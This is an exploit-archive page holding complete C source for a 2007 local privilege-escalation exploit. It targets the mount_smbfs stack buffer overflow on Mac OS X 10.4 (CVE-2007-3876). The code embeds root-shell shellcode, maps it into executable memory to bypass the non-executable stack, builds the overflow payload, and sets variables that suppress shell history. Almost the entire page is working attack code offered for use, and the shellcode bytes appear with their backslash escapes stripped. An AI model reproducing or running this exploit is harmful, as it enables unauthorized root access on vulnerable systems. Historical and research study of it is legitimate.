[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Apple Mac OS X mount_smbfs Stack Based Buffer Overflow Exploit
# Published : 2007-12-19
# Author : Subreption LLC.
# Previous Title : CoolPlayer 2.17 .m3u Playlist Stack Overflow Exploit
# Next Title : IrfanView 4.10 .FPX File Memory Corruption Exploit


/*
 * Copyright (C) 2007-2008 Subreption LLC. All rights reserved.
 * Visit http://blog.subreption.com for exploit development notes.
 *
 * References:
 *   CVE-2007-3876
 *   http://docs.info.apple.com/article.html?artnum=307179
 *   http://seclists.org/fulldisclosure/2007/Dec/0445.html
 *   http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=633
 *   http://phrack.org/issues.html?issue=64&id=11#article
 *   BID: http://www.securityfocus.com/bid/26926
 *
 *
 * Notes:
 *  We bypass non-executable stack via shared_region_map_file_np(), as
 *  documented in a Phrack 64 article by nemo. This technique has been
 *  restricted in Leopard, but works perfectly in Tiger. Originally we
 *  developed a Ruby exploit but given the reliable nature of nemo's
 *  approach, we decided a C port would be the best option.
 *
 * Compile with: gcc -Wall mount_smbfs_root.c -o mount_smbfs_root
 * Version: 1.0 (+tiger_x86)
 *
 * Distributed under the terms of the Subreption Open Source License v1.0
 * http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>

#define BASE_ADDR           0x9ffff000
#define PADDING_SIZE        1040
#define PAYLOAD_SIZE        PADDING_SIZE + 24

/* From osfmk/mach/i386/vm_param.h */
#define I386_PGBYTES        4096
#define I386_PGSHIFT        12
#define PAGE_SIZE           I386_PGBYTES
#define PAGE_SHIFT          I386_PGSHIFT

struct _shared_region_mapping_np {
    mach_vm_address_t   address;
    mach_vm_size_t      size;
    mach_vm_offset_t    file_offset;
    vm_prot_t           max_prot;
    vm_prot_t           init_prot;
};

struct x86_target {
    char ebx[4];
    char esi[4];
    char edi[4];
    char ebp[4];
    char eip[4];
    char saved_eip[4];
    char extra_arg[4];
};

static int force_exploit = 0;

/* Dual PowerPC + IA32 shellcode by nemo and b-r00t.
 * seteuid(0) + setuid(0) + execve()
 */
static char dual_shellcode[] =
"x5fx90xebx60x38x00x00xb7x38x60x00x00x44x00x00x02"
"x38x00x00x17x38x60x00x00x44x00x00x02x7cxa5x2ax79"
"x40x82xffxfdx7dx68x02xa6x3bxebx01x70x39x40x01x70"
"x39x1fxfexcfx7cxa8x29xaex38x7fxfexc8x90x61xffxf8"
"x90xa1xffxfcx38x81xffxf8x38x0axfexcbx44xffxffx02"
"x7cxa3x2bx78x38x0axfex91x44xffxffx02x2fx62x69x6e"
"x2fx73x68x58x31xc0x50xb0xb7x6ax7fxcdx80x31xc0x50"
"xb0x17x6ax7fxcdx80x31xc0x50x68x2fx2fx73x68x68x2f"
"x62x69x6ex89xe3x50x54x54x53x53xb0x3bxcdx80";

/* Unless we are forcing the exploit, exit the process */
void cond_exit(int exitcode) {
    if (!force_exploit)
        exit(exitcode);
}

/* map_shellcode(void) - returns a return address as unsigned long
 * The returned address points to our shellcode, mapped from a temporary file on disk.
 * Most of this code is based on nemo's original example in his Phrack 64 article.
 * If the mapping exists, it will fail and require -f flag to be used for avoiding
 * the exit() calls.
 */
unsigned long map_shellcode(void) {
    int fd = -1;
    unsigned long shellcodeaddr = 0x0;
    struct _shared_region_mapping_np shmreg;
    char tmpbuf[PAGE_SIZE];
    char *tmpfname;
    void *scptr = NULL;

    memset(tmpbuf, 0x90, sizeof(tmpbuf));
    scptr = (tmpbuf + PAGE_SIZE - sizeof(dual_shellcode));

    shmreg.address     = BASE_ADDR;
    shmreg.size        = PAGE_SIZE;
    shmreg.file_offset = 0;
    shmreg.max_prot    = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;
    shmreg.init_prot   = VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE;

    tmpfname = "/tmp/iChat.sock";
    if ((fd = open(tmpfname, O_RDWR|O_CREAT)) == -1) {
        perror("open");
        cond_exit(EXIT_FAILURE);
    }

    memcpy(scptr, dual_shellcode, sizeof(dual_shellcode));

    if (write(fd, tmpbuf, PAGE_SIZE) != PAGE_SIZE) {
        perror("write");
        close(fd);
        cond_exit(EXIT_FAILURE);
    }

    if (syscall(SYS_shared_region_map_file_np, fd, 1, &shmreg, NULL) == -1) {
        perror("shared_region_map_file_np");

        close(fd);
        if (unlink(tmpfname) == -1)
            perror("unlink");

        cond_exit(EXIT_FAILURE);
    }

    if (close(fd) == -1)
        perror("close");

    if (unlink(tmpfname) == -1)
        perror("unlink");

    shellcodeaddr = (unsigned long)(shmreg.address + PAGE_SIZE - sizeof(dual_shellcode));

    fprintf(stdout, "Shellcode mapped: mapping starts at 0x%x, shellcode at %xn",
            (unsigned)shmreg.address, (unsigned)shellcodeaddr);

    return shellcodeaddr;
}

int main(int argc, char *argv[])
{
    struct x86_target payload_template;
    unsigned long retaddr = 0x0;
    char payload[PAYLOAD_SIZE];
    void *curptr = NULL;

    char *vuln_argv[] = {
        "mount_smbfs",
        "-W",
        "PLACEHOLDER",
        0
    };

    char *vuln_envp[] = {
        "HISTFILE=/dev/null",
        "TERM=xterm-color",
        "PATH=/bin:/sbin:/usr/bin:/usr/sbin",
        "HISTSIZE=1",
        0
    };

    fprintf(stdout, "Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploitn"
            "Copyright (c) 2007-2008 Subreption LLC. All rights reserved.n");

    if (argc > 1) {
        if (!strcmp(argv[1], "-f"))
            force_exploit = 1;
    }
    
    retaddr = map_shellcode();

    fprintf(stdout, "Payload size: %u (%u padding bytes), Return address: 0x%xn",
            (unsigned)sizeof(payload), PADDING_SIZE, (unsigned)retaddr);

    memset(&payload_template, 0, sizeof(payload_template));

    // Copy the correct addresses to the payload_template structure
    memcpy(payload_template.ebx, "xfexcaxfexca", 4); // ebx = 0xcafecafe
    memcpy(payload_template.esi, "xddxcexfaxde", 4); // esi = 0xdefacedd
    memcpy(payload_template.edi, "xcexfaxedxfe", 4); // edi = 0xfeedface
    memcpy(payload_template.ebp, "xefxfexadxde", 4); // ebp = 0xdeadbeef
    memcpy(payload_template.eip, &retaddr, 4);           // eip = retaddr

    memcpy(payload_template.saved_eip, "xd0x02x01x90", 4); // saved eip = exit()
    memcpy(payload_template.extra_arg, "xfdxf8xffxbf", 4); // extra arg = 0xbffff8fd

    // Fill the payload with the initial padding
    curptr = (void *)payload;
    memset(curptr, 0x41, PADDING_SIZE);

    // Copy the payload_template structure to our payload buffer
    curptr = payload + PADDING_SIZE;
    memcpy(curptr, &payload_template, sizeof(payload_template));

    // Set the value to the -W option to point at our payload
    vuln_argv[2] = (char *)payload;

    if (execve("/sbin/mount_smbfs", vuln_argv, vuln_envp) == -1) {
        perror("execve");
        exit(EXIT_FAILURE);
    }

    return 0;
}

// www.Syue.com [2007-12-19]